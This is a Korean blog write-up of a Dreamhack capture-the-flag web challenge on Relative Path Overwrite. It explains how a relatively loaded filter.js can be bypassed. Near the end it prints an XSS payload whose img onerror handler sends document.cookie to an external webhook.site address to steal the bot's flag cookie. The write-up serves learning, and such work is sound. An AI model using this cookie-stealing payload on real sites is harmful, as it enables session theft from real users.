김승현

[Dreamhack : Web] Relative Path Overwrite 본문

Web/Dreamhack : Web

[Dreamhack : Web] Relative Path Overwrite

kshind 2023. 3. 4. 14:51

문제

 

RPO 공격기법을 연습하는 문제이다.

 

문제

접속하면 이렇게 home, vuln page, report를 볼 수 있고 기본적으로 welcom(e) to rpo world라고 출력되어 있다.

vuln페이지는 이렇게 생겼다. 

주소의 파라미터를 변경하면 이렇게 다른 값이 출력되는 걸 볼 수 있다.

report의 경우 쿠키에 flag를 포함하는 봇이 report한 주소로 접속하게 하는 거고 여기서 아마 공격을 시도하는 것 같다.

이번에는 php 파일들을 살펴보자. (중요한 부분만 보자.)

 

<index.php>

home 메뉴를 누르면 host3.dreamhack.games:[포트]/로 이동하고

vuln page를 누르면 host3.dreamhack.games:[포트]/?page=vlun&param=dreamhack으로 이동하고

report를 누르면 host3.dreamhack.games:[포트]/?page=report로 이동된다.

.나 ..이나 / 같은 게 입력하는 page 파라미터에 없다면 정상적으로 저장하고 아니면 저장하지 않는 걸로 보인다.

 

<vuln.php>

vuln으로 오게 되면 시작하자마자 script src를 통해 filter.js를 실행한다.

 

param_elem 변수에 param이라는 이름을 가진 id 속성을 가진 요소를 찾고 해당 element를 저장

param 변수에 url에서 param이라는 파라미터를 찾아서 저장

만약 filter가 undefined가 아니라면(필터에 걸렸다면)

파라미터들을 모두 소문자로 바꾸고 nope !!를 출력

 

<report.php>

만약 경로가 있다면 경로를 base64로 인코딩한 걸 secape 되어 실행(command injection으로부터 안전함)

 

취약한 부분은 vuln.php에서 filter.js를 불러올 때 상대경로를 이용해서 불러온다는 점이다. 만약 기본 페이지 외 다른

곳으로 이동해서 만약 dreamhack.games/example이라는 경로에서 vuln이 실행되면 filter.js가 실행되는 게 아니라

dreamhack.games/example/filter.js가 실행되기 때문이다. exploit 해보자.

 

index.php/?page=vuln&param=<img src='x'onerror=location.href="https://webhook.site/433d0a39-20ce-4ac5-9abb-f2dcacc02a5e/"%2bdocument.cookie>

위의 코드처럼 작성해서 입력해줬다.

 

 

아래 사진처럼 cookie에 포함된 flag를 볼 수 있다.